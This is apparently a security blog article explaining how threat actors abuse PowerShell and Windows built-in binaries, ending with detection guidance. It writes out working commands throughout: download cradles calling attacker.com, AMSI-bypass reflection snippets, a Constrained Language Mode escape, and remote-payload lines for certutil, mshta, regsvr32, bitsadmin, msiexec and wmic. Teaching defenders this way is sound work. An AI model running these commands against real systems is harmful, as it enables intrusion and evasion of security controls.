PowerShell LOLBAS Offensive Techniques: How Threat Actors Abuse Windows Built-in Binaries

PowerShell's dominance as an attacker tool is not accidental. It is the scripting layer with the deepest access to Windows internals: COM objects, WMI, the .NET framework, registry, file system, network stack, and Windows APIs: all accessible without compiling external code.

The canonical PowerShell download cradle is the entry point for most intrusions that use it:

IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

This pattern downloads and executes a remote script in memory without writing to disk. Variations include:

# WebRequest alternative
IEX (Invoke-WebRequest -Uri 'http://attacker.com/payload.ps1' -UseBasicParsing).Content

# COM-based download (bypasses some WebClient blocks)
$w = New-Object -ComObject WScript.Shell

The MITRE ATT&CK technique is T1059.001 (Command and Scripting Interpreter: PowerShell). The sub-techniques that flow from it include T1140 (Deobfuscate/Decode Files or Information) and T1027 (Obfuscated Files or Information) when actors encode their commands.

Encoded command execution is the second most common PowerShell abuse pattern. The -EncodedCommand (alias: -enc) flag accepts a Base64-encoded string and executes it, making the command opaque in process command-line logs:

powershell.exe -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQA...

ExecutionPolicy bypass is near-universal in attacker PowerShell execution. The policy is not a security boundary: it is a safety rail for administrators. Threat actors routinely bypass it with:

powershell.exe -ExecutionPolicy Bypass -File script.ps1
powershell.exe -ep bypass -c "..."

Or by invoking the engine directly through Invoke-Expression or through the .NET hosting API, which bypasses the policy check entirely.

Microsoft introduced two primary PowerShell security controls to counter LOLBAS abuse: the Antimalware Scan Interface (AMSI) and Script Block Logging. Understanding how threat actors bypass them is prerequisite knowledge for defenders trying to close the gap.

AMSI (T1562.001: Impair Defenses: Disable or Modify Tools) hooks into the PowerShell engine to scan script content before execution. Most commodity malware and many nation-state tools attempt to disable it before executing the payload. The most commonly observed bypass patterns in the wild:

Reflection-based AMSI disabling (patching the AmsiScanBuffer function in memory):

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
  ?{$_} |
  %{$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}

This reflects into the .NET assembly that hosts the AMSI integration and sets an internal flag that causes AMSI to report initialization failure, effectively disabling it for the current session. Microsoft patches variants of this periodically, and threat actors adapt.

COM object AMSI bypass exploits how AMSI loads into the process space:

$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');
$b=$a.GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static');
$c=$b.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32([IntPtr]$c,3)

Script Block Logging (enabled via GPO at HKLMSOFTWAREPoliciesMicrosoftWindowsPowerShellScriptBlockLogging) records all executed PowerShell code to the event log (Event ID 4104). Threat actors bypass it using similar reflection techniques to patch System.Management.Automation.Utils's cachedGroupPolicySettings before execution.

Constrained Language Mode (CLM), which restricts PowerShell's capabilities in AppLocker/WDAC-enforced environments, is bypassed by attackers who create a new PowerShell runspace directly through the .NET hosting API:

$r=[runspacefactory]::CreateRunspace()
$r.Open()
$p=[powershell]::Create()
$p.Runspace=$r
$p.AddScript({...}).Invoke()

This launches a new PowerShell engine instance not subject to the CLM restrictions applied to the user's interactive session.

The LOLBAS project documents the execution, download, and bypass capabilities of each binary. These eight appear most frequently in threat intelligence reporting.

1. certutil.exe (T1140, T1105) Certutil's primary legitimate use is managing certificate stores. Attackers use it to decode Base64-encoded payloads and download remote files:

certutil.exe -decode encoded.b64 payload.exe
certutil.exe -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe

APT41, FIN7, and multiple ransomware affiliates have used certutil for payload staging. Microsoft has added some detection to Defender for the -urlcache pattern, but the decode function remains widely abused.

2. mshta.exe (T1218.005) Mshta executes HTML Application (HTA) files, which are full-trust scripting environments hosted in a legacy Internet Explorer COM component. Remote execution:

mshta.exe http://attacker.com/payload.hta
mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run(""cmd.exe"")")

Lazarus Group, TA505, and APT32 have operationalized mshta in phishing delivery chains. The HTA file format runs with full scripting trust, making it a reliable code execution vehicle.

3. regsvr32.exe: "Squiblydoo" (T1218.010) The Squiblydoo technique uses regsvr32's ability to register COM scriptlets to execute remote SCT (scriptlet) files:

regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

This technique famously bypasses AppLocker because regsvr32 is a signed Microsoft binary allowed in default AppLocker policies. The network fetch happens inside the regsvr32 process, and the SCT file can contain any JScript or VBScript code.

4. rundll32.exe (T1218.011) Rundll32 calls exported functions from DLLs, including ones written by attackers:

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();...
rundll32.exe shell32.dll,ShellExec_RunDLL cmd.exe

The javascript: URI scheme in rundll32 was used extensively by Dridex and Ursnif banking trojans for fileless execution.

5. bitsadmin.exe (T1197) BITS (Background Intelligent Transfer Service) provides persistent, low-priority file transfer. Attackers use it to download payloads in a way that survives reboots:

bitsadmin /transfer job /download /priority normal http://attacker.com/payload.exe C:\temp\payload.exe
bitsadmin /setnotifycmdline job "cmd.exe" "/c payload.exe"

BITS jobs survive across reboots by default, making this technique useful for establishing a download mechanism that persists even if the initial loader is removed.

6. msiexec.exe (T1218.007) Windows Installer can silently install remote MSI packages:

msiexec.exe /q /i http://attacker.com/payload.msi
msiexec.exe /z http://attacker.com/payload.msi

CONTI operators used msiexec for lateral movement during their 2021 deployment phases, and the technique appeared in the Conti playbook leaked in that year.

7. wmic.exe (T1047) WMI command-line interface enables remote process execution and XSL script execution:

wmic.exe process call create "cmd.exe /c payload.exe"
wmic.exe os get /format:"http://attacker.com/payload.xsl"

The XSL transform technique (T1220) uses wmic's format parameter to fetch and execute a remote XSL file containing JScript or VBScript.

8. msbuild.exe (T1127.001) Microsoft Build Engine can execute inline C# or VB.NET tasks from a project file:

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="exec">
    <ClassExec />
  </Target>
  <UsingTask TaskName="ClassExec" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <ParameterGroup />
    <Task>
      <Code Type="Class" Language="cs">
        <!-- Shellcode or payload here -->
      </Code>
    </Task>
  </UsingTask>
</Project>

MSBuild is signed by Microsoft and typically allowed in application whitelisting policies, making this technique effective in environments with strict execution controls.

Abstract technique descriptions matter less than documented usage in real intrusions. These campaigns confirm that LOLBAS is not theoretical: it is the operational baseline for sophisticated threat actors.

SolarWinds / SUNBURST (2020, APT29 / Cozy Bear) The SolarWinds supply chain compromise used PowerShell extensively in the post-exploitation phase. After the SUNBURST backdoor established initial communication, PowerShell was used to execute the TEARDROP dropper and maintain an encoded C2 channel. The command-line patterns used Base64-encoded commands with ExecutionPolicy bypass to avoid triggering policy-based detection. The attack demonstrated that even in highly monitored environments, PowerShell execution through the legitimate svchost process passes most behavioral baselines.

CONTI Ransomware Operations (2020-2022) The leaked CONTI playbook revealed a systematic use of LOLBins for lateral movement. The playbook specifically instructs operators to use wmic for remote process execution during the domain enumeration phase, msiexec for deploying the CONTI encryptor to remote systems, and PowerShell for disabling Volume Shadow Copies (vssadmin delete shadows) before encryption. The wmic pattern used is:

wmic /node:[TARGET] process call create "cmd.exe /c [command]"

Lazarus Group / MagicRAT (2022) Cisco Talos documented Lazarus Group's MagicRAT delivery chain using mshta.exe to execute HTA payloads fetched from actor-controlled infrastructure. The chain used a phishing lure that triggered mshta via Windows Script Host, which then used PowerShell to establish persistence via a scheduled task. No external binary was dropped until the final stage, keeping the initial execution chain entirely within Microsoft-signed processes.

Black Basta Ransomware (2022-present) Black Basta affiliates routinely use certutil for initial payload staging and PowerShell for credential harvesting via a modified version of Mimikatz executed from a download cradle. Post-compromise discovery uses wmic and PowerShell's Get-ADComputer and Get-ADUser cmdlets before deploying the encryptor via PsExec and msiexec to identified targets.

PowerShell Remoting (T1021.006) uses the Windows Remote Management (WinRM) protocol to execute commands on remote systems. In environments where WinRM is enabled: which includes most enterprise environments with Group Policy management: it is effectively a built-in lateral movement channel.

The attacker pattern:

# Execute a command on a remote system
Invoke-Command -ComputerName TARGET -ScriptBlock { whoami; hostname; ipconfig }

# Interactive session
Enter-PSSession -ComputerName TARGET

# Pass-the-hash with alternate credentials
$cred = Get-Credential
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { ... }

WinRM uses port 5985 (HTTP) or 5986 (HTTPS) and authenticates via Kerberos or NTLM. This means valid domain credentials: including those captured via credential dumping (T1003): enable immediate lateral movement without deploying any additional tooling.

The detection challenge is that legitimate PowerShell remoting generates the same event log entries as malicious use. Detection requires behavioral baselines: a finance system suddenly issuing Invoke-Command to twenty servers in the IT department is anomalous; a domain controller doing the same is expected.

Understanding the offensive techniques is the prerequisite for building detection that works. The detection logic for each technique follows directly from its execution signature.

PowerShell download cradles: Process creation events for powershell.exe with command-line arguments containing DownloadString, DownloadFile, WebClient, IEX, or Invoke-Expression combined with a URL pattern. Windows Event ID 4104 (Script Block Logging) captures the deobfuscated content: the key is having Script Block Logging enabled before the intrusion.

Encoded commands: PowerShell process creation with -enc or -EncodedCommand in the command line. Legitimate administrative uses of -enc are relatively uncommon; most are automation scripts that could be rewritten without it. High-confidence alert.

certutil download abuse: Process creation for certutil.exe with -urlcache or -decode arguments. The -urlcache -split -f pattern for downloading remote files has no legitimate administrative justification in most environments.

mshta network execution: mshta.exe with a command-line argument containing an HTTP/HTTPS URL. Legitimate mshta execution in enterprise environments is typically local files; remote HTA execution is almost always malicious.

regsvr32 remote scriptlet: regsvr32.exe with /i:http or /i:https in the command line. This pattern has no legitimate use case and can be blocked entirely by WDAC policy.

bitsadmin job creation: bitsadmin.exe with /transfer or /download combined with an external URL, particularly one not matching known software update infrastructure.

For a comprehensive defensive detection guide covering SIEM rules, Windows Event IDs, and endpoint telemetry for each of these signals, see our companion post on detecting living off the land attacks.